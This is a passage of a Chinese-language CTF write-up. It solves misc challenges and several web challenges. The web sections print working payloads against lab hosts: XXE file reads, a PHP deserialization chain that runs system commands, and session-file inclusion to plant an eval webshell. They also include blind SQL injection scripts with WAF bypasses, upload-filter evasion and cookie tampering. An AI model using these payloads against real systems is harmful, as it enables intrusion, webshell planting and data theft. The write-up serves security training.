“imageIN_Beta1.0”,发现在解码中,有一个“txt”文件;

那这里我们直接另存为,打开“1.txt”得到;

一眼看见“50 4B 03 04”,典型的“zip”嘛,以是我们直接新建一个新的“010”十六进制文本,选中“1.txt”的内容,接着“Ctrl+shift+v”举行复制!!!!

最后“Ctrl+s”举行保存,保存格式为“.zip”;

哎,这不,前面的数字派上用场了,我们直接输入暗码:8513267904441230,输入完成打开“flag.txt”即可;

至此;
  1. flag{8da8c6877683f14366b2842e5134b9d8}
复制代码
9、MICS-jsfuck

题目描述:
一种特别的编码
解题思绪
下载得到一个“PDF”的文件;

那这里根据题目的名字“jsfuck”以及题目描述,我们可知这是一种编码,那我们先来简单相识一下“jsfuck”;
   简单来说实在JSFuck 是一种完全由 JavaScript 中的 6 个字符 ([, ], (, ), +, !) 构成的编程语言编码方法。通过这种编码方式,任何 JavaScript 代码都可以用这 6 个字符重新编写。
  基本原理:
JSFuck 使用 JavaScript 的隐式范例转换特性和对象表现来实今世码的运行。它通过组合基本字符 + (正数操作符)、! (逻辑非)、[] (数组)、和 () (函数调用) 来构建复杂的表达式,从而表现 JavaScript 中的基本元素如数字、字母、关键字,最终可以执行完整的 JavaScript 代码。
例如:

通过复杂的嵌套,任何常规的 JavaScript 代码都可以被重写为 JSFuck 编码。
JSFuck 编码的用途:
总结:
JSFuck 是一种非常极端和巧妙的编码方式,使用了 JavaScript 的灵活性,允许开发者使用仅 6 个字符来构建恣意 JavaScript 代码。
那现在已基本相识了什么是“JSFuck”编码,以是我们可以开始研究“PDF”了,老规矩直接全选缩鄙视看有什么线索,很快就有了发现;

这里我们新建一个“记事本”复制进去看看是什么东西;

这不是跟我们谁人“jsfuck”嘛,那我们尝试丢到“欣赏器”中执行一下试试看;

至此;
  1. flag{JsF4ck}
复制代码
三、WEB

1、WEB- ctf_xxe

题目描述:
单纯的xxe
解题思绪
打开靶机发现是代码审计,如图下;

首先我们这里可以肯定的就是,这题就是一题XXE的(由于题目名称就是XXE),那我们来一起简单分析一下源码;
可以确定的是这个代码展示了一个处置惩罚 XML 数据的 PHP 应用程序片断,而且使用了与 XML 解析和外部实体加载(XXE)相关的功能。










示例:
通过上面的简单分析我们就可以简单的构造payload举行“XXE”攻击,如下 XML:
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
  3. <test>
  4.   <ctf>&xxe;</ctf>
  5. </test>
复制代码
这段 XML 会让服务器读取 /etc/passwd 文件,并将其内容回显给我们。

成功回显,那我们来简单分析一下我的payload;
首先肯定是使用了 XML 外部实体定义中的 <!ENTITY> 来加载外部资源(读取服务器文件系统中的 /etc/passwd),通过使用 &xxe;,向服务器请求读取指定的文件,并在相应中回显。
以是这里我们直接读取“flag”即可,由于题中也没有任何关于“flag”的过滤;

至此;
  1. flag{cce94ee5665614da8e790a0738046f7d}
复制代码
XXE简单总结;
   XXE(XML External Entity)漏洞是通过解析 XML 文件时,使用外部实体的功能来攻击服务器的一种安全漏洞。XXE 漏洞常常出现在各种 CTF 竞赛中,常见的考点和知识点包括以下内容:
  
典型的 XXE 使用形式:
  1. <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root>   &xxe; </root>
复制代码








总结:
XXE 是一种经典的 XML 解析漏洞,CTF 中常见的考点包括文件读取、Blind XXE、SSRF 攻击、DoS 攻击等。重点在于理解 XML 实体、DTD、以及怎样通过外部实体控制服务器行为,同时掌握防御 XXE 的常见措施。
2、WEB- ctf_uuunserialize

题目描述:
反反反序列化
解题思绪
打开靶机也照旧代码审计,如图下;

题目;
  1. <?php  
  2.   
  3. class blue  
  4. {  
  5.     public $b1;  
  6.     public $b2;  
  7.   
  8.     function eval() {  
  9.         echo new $this->b1($this->b2);  
  10.     }  
  11.   
  12.     public function __invoke()  
  13.     {        $this->b1->blue();  
  14.     }  
  15. }  
  16.   
  17. class red  
  18. {  
  19.     public $r1;  
  20.   
  21.     public function __destruct()  
  22.     {  
  23.         echo $this->r1 . '0xff0000';  
  24.     }  
  25.   
  26.     public function execute()  
  27.     {  
  28.         ($this->r1)();  
  29.     }  
  30.   
  31.     public function __call($a, $b)  
  32.     {  
  33.         echo $this->r1->getFlag();  
  34.     }  
  35.   
  36. }  
  37.   
  38. class white  
  39. {  
  40.     public $w;  
  41.   
  42.     public function __toString()  
  43.     {        $this->w->execute();  
  44.         return 'hello';  
  45.     }  
  46. }  
  47. class color  
  48. {  
  49.     public $c1;  
  50.   
  51.     public function execute()  
  52.     {  
  53.         ($this->c1)();  
  54.     }  
  55.   
  56.     public function getFlag()  
  57.     {  
  58.         eval('#' . $this->c1);  
  59.     }  
  60.   
  61. }  
  62.   
  63. if (isset($_POST['cmd'])) {    unserialize($_POST['cmd']);  
  64. } else {    highlight_file(__FILE__);  
  65. }
复制代码
当然啊这里肯定就是反序列化了,那我们来简单分析一下;
   这个代码展示了一个典型的PHP反序列化漏洞场景,结合了类的定义、魔术方法(如 __invoke() 和 __toString())以及 PHP 的 unserialize() 函数。在反序列化的过程中,如果传入了精心构造的对象,就可以触发不安全的代码执行。
  代码重点分析:
代码吸收用户的 POST 请求数据并将其通报给 unserialize() 函数,这里是整个漏洞的入口。如果通报了的序列化字符串,程序会重构这些对象并执行其定义的相关方法。
  1. if (isset($_POST['cmd'])) {     unserialize($_POST['cmd']); } else {     highlight_file(__FILE__); }
复制代码




漏洞总结:
分析完毕,那我们开始构造链;
步调#1
首先能够可控执行代码地方只有“color”内的“getFlag”。由于这里是字符串“#”举行了拼接。我们比如绕过这个注释符。通过闭合php代码。
  1. # 此处省略上边的一堆class的定义,只防止关键代码
  2. $color2 = new color();
  3. $color2->c1 = "?><?php phpinfo();?>";
  4. $color2->getFlag();
复制代码
步调#2
那现在需要的是触发$color2->getFlag() ,向上找,必然是使用 class red 的魔术方法__call (方法重载)。 在调用red类的一个不存在的函数时,就会触发。 测试代码如下;
  1. # 此处省略上边的一堆class的定义,只防止关键代码
  2. $red2 = new red();
  3. $color2 = new color();
  4. $red2->r1 = $color2;
  5. $color2->c1 = "?><?php phpinfo();?>";
  6. $red2->xxx();
复制代码
步调#3
现在需要找到怎么调用到“red”的一个不存在的函数。 我们能找到“class blue”的魔术方法 invoke() (当尝试以调用函数的方式调用一个对象时,invoke 方法会被自动调用)测试代码如下;
  1. # 此处省略上边的一堆class的定义,只防止关键代码
  2. $blue = new blue();
  3. $red2 = new red();
  4. $color2 = new color();
  5. $blue->b1=$red2;
  6. $red2->r1 = $color2;
  7. $color2->c1 = "?><?php phpinfo();?>";
  8. $blue();
复制代码
步调#4
需要找到能够调用blue invoke, 能够发现是class red 的execute函数 和 class color的execute 都可以 。但是没有能够使用的,下一步调用 class red 的execute函数的地方。 这个时候只能选择 class color的execute。 由于我们前边已经有一个color对象了,并不能复用 。 我们这里new一个新的;
  1. # 此处省略上边的一堆class的定义,只防止关键代码
  2. $color1 = new color();
  3. $blue = new blue();
  4. $red2 = new red();
  5. $color2 = new color();
  6. $color1->c1=$blue;
  7. $blue->b1=$red2;
  8. $red2->r1 = $color2;
  9. $color2->c1 = "?><?php phpinfo();?>";
  10. $color1->execute();
复制代码
步调#5
**现在需要找能够触发 color1->execute的地方了。显然是class white的魔术方法 toString (toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。)
  1. # 此处省略上边的一堆class的定义,只防止关键代码
  2. $white = new white();
  3. $color1 = new color();
  4. $blue = new blue();
  5. $red2 = new red();
  6. $color2 = new color();
  7. $white->w=$color1;
  8. $color1->c1=$blue;
  9. $blue->b1=$red2;
  10. $red2->r1 = $color2;
  11. $color2->c1 = "?><?php phpinfo();?>";
  12. echo $white;
复制代码
步调#6
显然能够触发class white的魔术方法 toString 的地方只有class red 的邪术函数 __destruct (在页面运行竣事时,会执行对象的析构函数)
  1. # 此处省略上边的一堆class的定义,只防止关键代码
  2. $red1 = new red();
  3. $white = new white();
  4. $color1 = new color();
  5. $blue = new blue();
  6. $red2 = new red();
  7. $color2 = new color();
  8. $red1->r1= $white;
  9. $white->w=$color1;
  10. $color1->c1=$blue;
  11. $blue->b1=$red2;
  12. $red2->r1 = $color2;
  13. $color2->c1 = "?><?php phpinfo();?>";
复制代码
步调#7
修改内里的所需要执行的代码,而且序列化输出。 将序列化后的值给通过cmd传给index.php 即可;
  1. <?php
  2. class blue
  3. {
  4.     public $v1;
  5. }
  6. class red
  7. {
  8.     public $f1;
  9. }
  10. class white
  11. {
  12.     public $a;
  13. }
  14. class color
  15. {
  16.     public $m1;
  17. }
  18. $red1 = new red();
  19. $white = new white();
  20. $color1 = new color();
  21. $blue = new blue();
  22. $red2 = new red();
  23. $color2 = new color();
  24. $red1->r1= $white;
  25. $white->w=$color1;
  26. $color1->c1=$blue;
  27. $blue->b1=$red2;
  28. $red2->r1 = $color2;
  29. $color2->c1 = "?><?php system('cat /flag');?>";
  30. echo serialize($red1);
复制代码
简单分析一下;
   首先母庸质疑的就是这是一个怎样使用 PHP 对象的属性关系来构造一个复杂的对象序列化链,并最终实现恣意代码执行。代码的目的是在反序列化过程中执行系统下令,从而读取系统中的 /flag 文件。
  代码分析:
序列化后的对象布局:
对象序列化时会保留对象的层级关系和属性内容。根据这个代码的逻辑,序列化后的布局大抵如下:

使用分析:
总结:

使用PHP运行得到;
  1. <?php
  2. class blue
  3. {
  4.     public $v1;
  5. }
  6. class red
  7. {
  8.     public $f1;
  9. }
  10. class white
  11. {
  12.     public $a;
  13. }
  14. class color
  15. {
  16.     public $m1;
  17. }
  18. $red1 = new red();
  19. $white = new white();
  20. $color1 = new color();
  21. $blue = new blue();
  22. $red2 = new red();
  23. $color2 = new color();
  24. $red1->r1= $white;
  25. $white->w=$color1;
  26. $color1->c1=$blue;
  27. $blue->b1=$red2;
  28. $red2->r1 = $color2;
  29. $color2->c1 = "?><?php system('cat /flag.txt');?>";
  30. echo serialize($red1);
复制代码
得到;

也就是;
  1. O:3:"red":2:{s:2:"f1";N;s:2:"r1";O:5:"white":2:{s:1:"a";N;s:1:"w";O:5:"color":2:{s:2:"m1";N;s:2:"c1";O:4:"blue":2:{s:2:"v1";N;s:2:"b1";O:3:"red":2:{s:2:"f1";N;s:2:"r1";O:5:"color":2:{s:2:"m1";N;s:2:"c1";s:34:"?><?php system('cat /flag.txt');?>";}}}}}}
复制代码
接着使用“HackBar”传参得到,大概直接使用“bp”抓包传参也行;
“bp”传参

“HackBar”传参得到;

至此;
  1. flag{8166fd074b28be606a9d4e23135efbb1}
复制代码
3、WEB-ctf_linkgame

题目描述:
连连看
解题思绪
打开靶机发现是一个“连连看”的游戏,如图下;

简单分析一下,直接“Ctrl+u”检察源码;

发现一个“./?file=readme.txt“,尝试修改直接读取”flag.txt“,但是发现没有回显,换一种思绪,简单尝试一下看看伪协议能不能获取”index.php“源码;
  1. ?file=php://filter/read=convert.base64-encode/resource=index.php
复制代码
简单分析一下“payload”;
步调:

总的来说;

传参成功;

这里我们照旧直接“Ctrl+u”检察源码;

“base64”解码得到;
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. ?>
  5. <?php
  6. if (isset($_GET['name'])) {
  7.         $_SESSION['name'] = base64_encode($_GET['name']);
  8. }
  9. if (empty($_SESSION['name'])){
  10.         $_SESSION['name']=base64_encode('me');
  11.         }
  12. ?>
  13. <!DOCTYPE html>
  14. <html lang="zh-CN">
  15. <head>
  16.   <meta charset="UTF-8">
  17.   <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
  18.   <meta http-equiv="X-UA-Compatible" content="ie=edge">
  19.   <link rel="stylesheet" href="css/style.css">
  20.   <title>连连看</title>
  21. </head>
  22. <body>
  23.     <div class="container">
  24.         <div class="heading">
  25.             <p class="time"></p>
  26.             <?php
  27.             if (!empty($_SESSION['name'])) {
  28.         echo "<button id="help" class="btn" >help ".base64_decode($_SESSION['name']) . "</button>";
  29. }
  30. ?>
  31.             <button id="restart" class="btn" >restart</button>
  32.             <a href="./?file=readme.txt">
  33.             <button class="btn">about</button>
  34.           </a>
  35.         </div>
  36.         <div class="grid-container"></div>
  37.     </div>
  38.     <script src="js/config.js"></script>
  39.     <script src="js/util.js"></script>
  40.     <script src="js/view.js"></script>
  41.     <script src="js/game.js"></script>
  42.     <script src="js/event.js"></script>
  43.     <script src="js/main.js"></script>
  44. <?php if (isset($_GET['file'])) {
  45.         include($_GET['file']);
  46. }?>
复制代码
简单分析一下;




最后总的来说发现存在“name”传参,同时会将“name”的值举行”base64编码“后保存在”session“中。
那这里我们首先考虑到文件包含“session”来获取webshell,那这里先随便传一个“?name=xxxxx”;

测试成功正常回显,那这里我们继续尝试包含“session”,以此来确认“session”文件位置;
最后也是颠末尝试发现“session”文件位于“/tmp/sess_xxxxxxxxxxxxxxxxxxxxx”中;
那就开始传“webshell”,这里考虑到“base64编码”转换的题目,需要特定长度的payload,以是;
  1. ?name=abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd<?php%20eval($_POST[%27a%27]);?>
复制代码
简单分析一下;
总结:
payload 试图通过 GET 请求将代码 <?php eval($_POST['a']);?> 注入到会话中,并在页面上解码展示。
得到;

不难看出已经传参成功,以是我们直接使用“BP”抓包确认一下“session”的名称;

我的“session”;
  1. crpb7s4sqbsuhulot8jhl85jvq
复制代码
接着直接打开蚁剑开始连接,简单配置一下”webshell“;
  1. http://10.246.19.155:36323/?file=php://filter/read=convert.base64-decode/resource=/tmp/sess_crpb7s4sqbsuhulot8jhl85jvq
复制代码
暗码:a
成功连接;

最后也是在根目录下发现“flag.txt”;

至此;
  1. flag{98a77ed26470b1e21f0d267104050476}
复制代码
4、WEB- ctf_loginnn

题目描述:
不寻常的登录
解题思绪
打开靶机发现账号暗码,尝试SQL注入但是发现不是,如图下;

那我们直接简单爆破一下,结果也是真的爆破出来了,弱口令“top1000”就出,大概“fuu”字典也行;

这边也是很快爆破出了账号暗码:admin/123456,那我们直接登录;

那这边我们随便输入一个“4399.com”试试看;

很快也是发现回显了一张图片,那我们右键检察一下图片;

注意图片的路径:/upload/21232f297a57a5a743894a0e4a801fc3.jpg
接着返回主页,最后“Ctrl+u”检察源码;

但是这时候你会发现是检察不了的,不过不要紧,我们把图片的路径粘贴上去,最后也就变成;
  1. view-source:http://10.246.19.155:40227/upload/21232f297a57a5a743894a0e4a801fc3.jpg
复制代码

可以说跟“4399.com”的源码没啥区别,那这里我们就可以考虑一下,靶机是否存在“index.php”这个文件,也照旧使用上面的方法尝试读取“index.php”(一般的网站根目录百分之九十的都会存在,由于不会特意去因此删除);

也照旧检察新建图片链接,复制图片的链接:/upload/21232f297a57a5a743894a0e4a801fc3.jpg;

返回主页继续检察源码,故技重施检察文件“index.php”;

简单分析一下;
   简单来说这是一个简单的用户登录页面,并通过 PHP 举行处置惩罚。页面通过 POST 请求提交用户名和暗码,并对输入的用户名和暗码举行 SQL 查询,确认是否匹配数据库中的记录。
  


跟进到“secure_waf.php”简单分析一下,这边也照旧故技重施,我们继续;

检察图片路径:/upload/21232f297a57a5a743894a0e4a801fc3.jpg

返回主页,重复此操作;

简单分析一下;
   首先可以肯定的就是这段代码实现了一个非常简单的 Web Application Firewall (WAF) 过滤函数,用于防止常见的 SQL 注入攻击和其他恶意输入。
  






总结一下,首先肯定的就是观察SQL注入到绕过,可以看到过滤了大量关键字,而且转义了单引号,为了防护XSS,代码里用strip_tags剔除了html标签,因此可以通过html标签拆分关键字的方法绕过对关键字的过滤;
观察SQL语句的拼接:
$sql = “select * from user where username='” . $username . “’ and password='” . $password .
这里可以用\逃逸单引号;
构造payload脚本;
  1. import requests
  2. # 目标URL地址,指向包含SQL注入漏洞的页面
  3. url = "http://10.246.19.155:41607/index.php"
  4. # 设置requests库的默认重试次数为5
  5. requests.DEFAULT_RETRIES = 5
  6. # 创建一个会话对象,以保持连接的持久性
  7. s = requests.session()
  8. # 禁用HTTP keep-alive,避免持久连接
  9. s.keep_alive = False
  10. # 定义获取flag的函数
  11. def get_flag():
  12.     # 待爆破的列名为'flag'
  13.     column = "flag"
  14.     # 待爆破的表名为'flag'
  15.     table = "flag"
  16.     # 用于保存爆破出的flag值
  17.     value = ""
  18.     # i用于循环爆破flag的每一位,假设flag长度最大为60
  19.     for i in range(1, 60):
  20.         # j用于循环ASCII值,从33到255(一般可打印字符的ASCII范围)
  21.         for j in range(33, 128):
  22.             # 构造POST请求的数据包,进行SQL注入
  23.             data = {
  24.                 # SQL语句伪代码:
  25.                 # 选择flag列的第i个字符,并将其ASCII值与j进行比较
  26.                 # 若匹配,则返回成功提示
  27.                 "password": "/**/o<abc>r/**/asc<abc>ii(sub<abc>str((sel<abc>ect/**/{}/**/f<abc>rom/**/{}),{},1))={}#".format(column, table, i, j),
  28.                 # 模拟登录表单的提交按钮
  29.                 "login": "submit",
  30.                 # 输入的用户名为反斜杠,是为了触发SQL注入
  31.                 "username": "\"
  32.             }
  33.             # 发送POST请求,将构造的数据包发送至目标服务器
  34.             html = requests.post(url=url, data=data).text
  35.             # 如果返回页面中包含"登录成功"字样,说明当前字符的ASCII值匹配
  36.             if "登录成功" in html:
  37.                 # 将匹配到的字符的ASCII值转换为字符,并追加到flag值中
  38.                 value = value + chr(j)
  39.                 # 输出当前已获取的部分flag值
  40.                 print(value)
  41.                 # 匹配成功,退出当前字符的循环,开始爆破下一位
  42.                 break
  43. # 主程序入口,执行get_flag函数
  44. if __name__=='__main__':
  45.     get_flag()
复制代码
实在这边都加了注释但也照旧简单分析一下;

运行得到;

至此;
  1. flag{0cfee7ad9d01234567890}
复制代码
5、WEB- ctf_ezupload

题目描述:
不一样的上传
解题思绪
这不看到题目描述“不一样的上传”,那我们打开靶机看看怎么个不一样法;

哎哎哎,熟悉的话,让我想起“某2022某洵杯”了,结果一起看发现大差不差,不过不要紧哈,我们这边再来一起复习一下;
那既然是文件上传啊,老规矩嘛直接传一个“phpinfo”看看;
   文件名:123.php
内容:<?php phpinfo();?>
  

访问一下上传成功的路径:/uploads/42995f342e8abd019311aaed89d550ae.php
得到;

发现过滤了很多函数,但是仔细观察会发现可以使用“file_get_contents”来举行文件读取;
  1. <?php
  2. function waf($var): bool{
  3.     $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
  4.     foreach($blacklist as $blackword){
  5.         if(stristr($var, $blackword)) return True;
  6.     }
  7.     return False;
  8. }
  9. error_reporting(0);
  10. //设置上传目录
  11. define("UPLOAD_PATH", "./uploads");
  12. $msg = "Upload Success!";
  13. if (isset($_POST['submit'])) {
  14. $temp_file = $_FILES['upload_file']['tmp_name'];
  15. $file_name = $_FILES['upload_file']['name'];
  16. $ext = pathinfo($file_name,PATHINFO_EXTENSION);
  17. if(!preg_match("/php/i", strtolower($ext))){
  18. die("俺不要图片,熊大");
  19. }
  20. $content = file_get_contents($temp_file);
  21. if(waf($content)){
  22.     die("哎呦你干嘛,小黑子...");
  23. }
  24. $new_file_name = md5($file_name).".".$ext;
  25.         $img_path = UPLOAD_PATH . '/' . $new_file_name;
  26.         if (move_uploaded_file($temp_file, $img_path)){
  27.             $is_upload = true;
  28.         } else {
  29.             $msg = 'Upload Failed!';
  30.             die();
  31.         }
  32.         echo $msg."  ".$img_path;
复制代码
但是1使用“file_get_contents”举行文件读取,上传时发现也被过滤了,考虑是不是关键字过滤;
接着尝试使用16进制编码file_get_contents,举行读取/flag,发现没有回显,考虑是否不是存放在/flag内,接着使用“GlobIterator”类来寻找flag,那这里可能有的师傅就有疑问了什么是“GlobIterator类”?;
什么是GlobIterator类?
   GlobIterator 类是 PHP 中的一部分,它继承自 FilesystemIterator,用于遍历符合指定模式的文件路径。这个类使用了所谓的 “glob” 模式,即类似于 shell 中的通配符匹配。与 glob() 函数差别,GlobIterator 是一个迭代器,允许你通过 foreach 等方式遍历匹配的文件。
  重要特点

示例代码
<?php // 创建一个 GlobIterator 对象,匹配当前目录下的所有 .php 文件 $iterator = new GlobIterator('*.php'); // 使用循环来遍历匹配的文件 foreach ($iterator as $file) { echo $file->getFilename() . "\n"; } ?>
上面的例子会遍历当前目录下所有 .php 文件,并输出其文件名。
GlobIterator 构造函数
public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME ] )

通配符示例

那我们就开始构造直接构造payload;
  1. <?php echo new GlobIterator('/f('|'/f"'); ?>
复制代码
简单分析一下;


访问一下文件路径:/uploads/860e4fb4a92c175053cb3609efca5a9a.php

也是成功得到“flag”文件,接着再使用“file_get_contents()”读取 flag——fl1111111111ag;
这边方法不唯一,可以使用“16进制编码”file_get_contents举行读取,也可以使用“字符串拼接”绕过,这里两种我都举行演示一遍;
首先是“十六进制”;
  1. "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"
  2. file_get_contents
复制代码
转为十六进制:
   <?php ​file_get_contents("/fl1111111111ag") ?>
  得到;
  1. <?php echo ("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73")('/fl1111111111ag');
复制代码
传入直接而且直接访问试试看;

访问:/uploads/860e4fb4a92c175053cb3609efca5a9a.php
得到;

那这里我们换一种方法,“字符串拼接”绕过试试看;
“字符串拼接”:
  1. <?php echo ('fil'.'e_ge'.'t_cont'.'ents')('/fl1111111111ag');
复制代码
得到;

同样的;

至此;
  1. flag{ddee21b5a5054489b7f0ec489f65d740}
复制代码
6、WEB-ctf_whereisthedong

题目描述:
找漏洞
解题思绪
根据题目描述我们可知这是一题找漏洞的题,那我们打开靶机看看是怎么个回事吧;

一个登录入口,这边是可以注册账号暗码的,那我们尝试注册一个“admin”的账号暗码试试看;

注册完毕,返回主页尝试举行登录,发现登录确实没有题目;

点击“Create post”,发现两个输入点,怀疑这是注入点,但是尝试了一下发现并不是;

得到;

也照旧啥也没有发现,找了半天也照旧没有发现洞在那里,那我们就尝试一层一层使用“bp”抓包举行分析试试看;

直接点击“Create post”抓包,很快就发现了疑点,发现这个“cookie”有点不对劲啊,怀疑可能是“base64”的,直接丢去解码试试看;
  1. Cookie: user=Tzo0OiJVc2VyIjoyOntzOjc6InByb2ZpbGUiO086NzoiUHJvZmlsZSI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czoxMjoicGljdHVyZV9wYXRoIjtzOjI3OiJpbWFnZXMvcmVhbF9wcm9ncmFtbWVycy5wbmciO31zOjU6InBvc3RzIjthOjA6e319
复制代码
base64解码在线

得到;
  1. O:4:"User":2:{s:7:"profile";O:7:"Profile":2:{s:8:"username";s:5:"admin";s:12:"picture_path";s:27:"images/real_programmers.png";}s:5:"posts";a:0:{}}
复制代码
简单分析一下;
   首先可以肯定的就是这段代码是序列化后的 PHP 对象,序列化是将对象转换为可存储或传输的字符串格式。这里使用了 PHP 的对象序列化格式。
  




重点——picture_path 分析
picture_path 代表用户的头像路径或图片的文件路径,具体属性解释如下:


总结

返回刚刚的页面,右键选中谁人图片“查抄”;

这里已经很明显了,页面上的图片,并不是一个地点,而是直接“base64编码”的。以是这里确定有个文件读取。

那我们直接在原有的“cookie”中举行修改;
  1. O:4:"User":2:{s:7:"profile";O:7:"Profile":2:{s:8:"username";s:5:"admin";s:12:"picture_path";s:9:"/flag.txt";}s:5:"posts";a:0:{}}
复制代码
修改为直接读取“flag.txt”;

得到的“cookie”;
  1. Tzo0OiJVc2VyIjoyOntzOjc6InByb2ZpbGUiO086NzoiUHJvZmlsZSI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czoxMjoicGljdHVyZV9wYXRoIjtzOjk6Ii9mbGFnLnR4dCI7fXM6NToicG9zdHMiO2E6MDp7fX0%3D
复制代码
那我们直接举行更换原有的“cookie”,这里直接“F12”即可;

直接双击举行更换,接着保存刷新一下会发现原有的图片不见(由于已经被我们更换成“flag.txt”了),以是这时候我们只需要右键选中图片“查抄”找到图片的“base64”编码举行解码即可;

“base64”解码得到;

至此;
  1. flag{e0eb69371ca6105d6e0fb5ccf736c001}
复制代码
7、WEB- ctf_hello

题目描述:
hello
解题思绪
打开靶机,大抵看一眼发现是SQL注入,如图下;

简单分析一下;
这个 PHP 代码片断重要是一个基于 SQL 的身份认证和信息显示页面,而且有一些防护机制针对常见的 SQL 注入攻击。
代码逻辑:
关键;
总结来说就是滤了“select”,而且“flag”不在雷同表上,也不存在堆叠注入,几乎无解,但是经查询最新的“mysql 8.0”有新的语法可以绕过 select。
TABLE 语句
具体语法:
  1. TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
复制代码
简单分析一下;
   这段代码用于从数据库表中按指定顺序检索数据,并可设置返回的行数以及偏移量。现在渐渐分析它的每个部分:
  



示例:
假设有一张 users 表,想要查询所有效户,并按用户的 id 举行升序排序,限制返回前 10 行,跳过前 5 行。SQL 语句可以写成:
SELECT * FROM users ORDER BY id ASC LIMIT 10 OFFSET 5;

关键要点:

总的来说,这个语法重要是为 SQL 查询提供排序、限制返回结果的数量和偏移量功能,常用于大表分页查询或需要只获取部分数据的场景。
实在从语法上看,可以排序,也可以过滤记录集,不过比力简单,没有 SELECT 那么强大。
  1. table access_key limit 1 等价于 select * from access_key limit 1
复制代码
由于测试了发现没有回显,因此可以构造如下查询方法;
  1. # 通过逐个字符遍历,当右边条件成立时,id 为 1 的回显,否则无回显
  2. # (1, 'key') 这里的字段个数和顺序需和右边 table access_key 返回的字段一致,否则一样无结果
  3. id=-1 or (1, 'key') < (table access_key limit 1)
复制代码
传参得到;

再根据之前我们分析到的access_key表存在两个字段,key 和 id,直接写一个脚本举行构造key;
脚本如下(Python)
  1. #!/usr/bin/env python
  2. import string
  3. import requests
  4. # 构建可猜测的字符列表,包括数字和字母
  5. char_list = list(string.digits + string.ascii_letters)
  6. # 将字符列表排序
  7. char_list.sort()
  8. print(char_list)
  9. # 定义目标 URL,假设它是一个存在 SQL 注入漏洞的页面
  10. url = "http://10.246.19.155:43887/"
  11. key = ""  # 存储逐步猜测出来的 key
  12. # 开始无限循环,用于逐字符猜测 key
  13. while True:
  14.     # 遍历字符列表中的每一个字符
  15.     for i, c in enumerate(char_list):
  16.         # 如果字符是单引号(SQL 中的特殊字符),则需要转义
  17.         if c == "'":
  18.             c = "\\'"
  19.         
  20.         # 构造注入的 SQL 语句,猜测 key 的下一个字符是否为 c
  21.         sql = "-1 or (1, '{}{}') < (table access_key limit 1)".format(key, c)
  22.         # 注释掉的调试代码,用于查看构造的 SQL 语句
  23.         # print(sql)
  24.         
  25.         # 发送构造好的 SQL 语句,通过 GET 请求发送 id 参数
  26.         r = requests.get(url, params={"id": sql})
  27.         
  28.         # 检查返回的页面内容是否不包含 "mike",如果不包含,说明猜测的字符正确
  29.         if "mike" not in r.text:
  30.             # 如果猜测正确,添加这个字符到 key 中,逐步构造完整的 key
  31.             key += char_list[i - 1]
  32.             # 输出当前猜测出来的 key 片段
  33.             print(key)
  34.             break
  35.     else:
  36.         # 如果当前字符列表中的字符都无法匹配,结束猜测循环
  37.         break
复制代码
这边已经全部加了注释,但照旧简单分析一下吧;
重点:

总的来说,这段代码是一个逐字符猜测 access_key 表中 key 字段的 SQL 注入脚本,使用的是基于渐渐匹配字符的暴力破解思绪。
运行得到;

最后也是跑到的key:6e283ec43b1eaf31ab0c1a18fb71d5fb
但是这里需要注意的是,由于最后一个字符是已经相等,因此现实上应该是c不是b
至此;
  1. # 传递 key 参数,拿到 flag
  2. /?key=6e283ec43b1eaf31ab0c1a18fb71d5fc
复制代码
8、WEB- ctf_babycode

题目描述:
找到flag.txt
解题思绪
这里给出提示题目描述“flag”在“flag.txt”文件中,那我们打开靶机看看怎么个事,如图下;

一眼望过去很明显的无参RCE,然后还不能有一些数字字母等等,以是这里我们可以考虑到取反绕过,那我们一起简单分析一下完整的吧;
代码分析:
highlight_file(__FILE__);
这行代码用于显示当前文件的源代码,通常用于调试或安全挑战(例如 CTF)中。它将当前 PHP 文件的代码高亮显示出来。
$c = $_GET['c'];
这一行从 URL 的查询参数 c 中获取用户通报的数据,并将其赋值给变量 $c。
if(preg_match('/\'|"|`|\ |,|\.|-|\+|[A-Za-z0-9]|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$c) or strlen($c) > 60){ die('Hello'); }
这一段代码通过正则表达式对 $c 变量举行过滤,克制以下内容:

别的,要求 $c 的长度不能超过 60 个字符。如果这些条件被满意,脚本将终止并输出 'Hello'。
过滤规则非常严格,克制了大多数常见的字符,尤其是字母和数字,意味着用户通报的参数不能包含一般的代码片断或表达式。
}else if( preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $c)===';'){ @eval($c); }
这一段是关键部分。这里的代码查抄 $c 是否可以通过某种形式的递归匹配,将其转换为空字符串后,剩下的部分是否是单个分号 (;)。
具体解析:

else { die('Keep trying'); }
如果条件不符合,则提示用户继续尝试。
绕过分析:
由于过滤掉了字母、数字、和常见的符号,常规的代码执行方式(如通报函数名或变量)将无法使用。然而,我们可以考虑取反绕过,即使用 PHP 中的取反运算符(如 ~),将字符通过 ASCII 值取反,绕过字符集的限制来生成可执行代码。

取反绕过思绪:
在 PHP 中,~(按位取反)可以用于将字符的 ASCII 值取反。通过这种方式,可以避免直接使用字母或数字。例如,取反后的一些值可以通过函数还原为原始字符或操作。
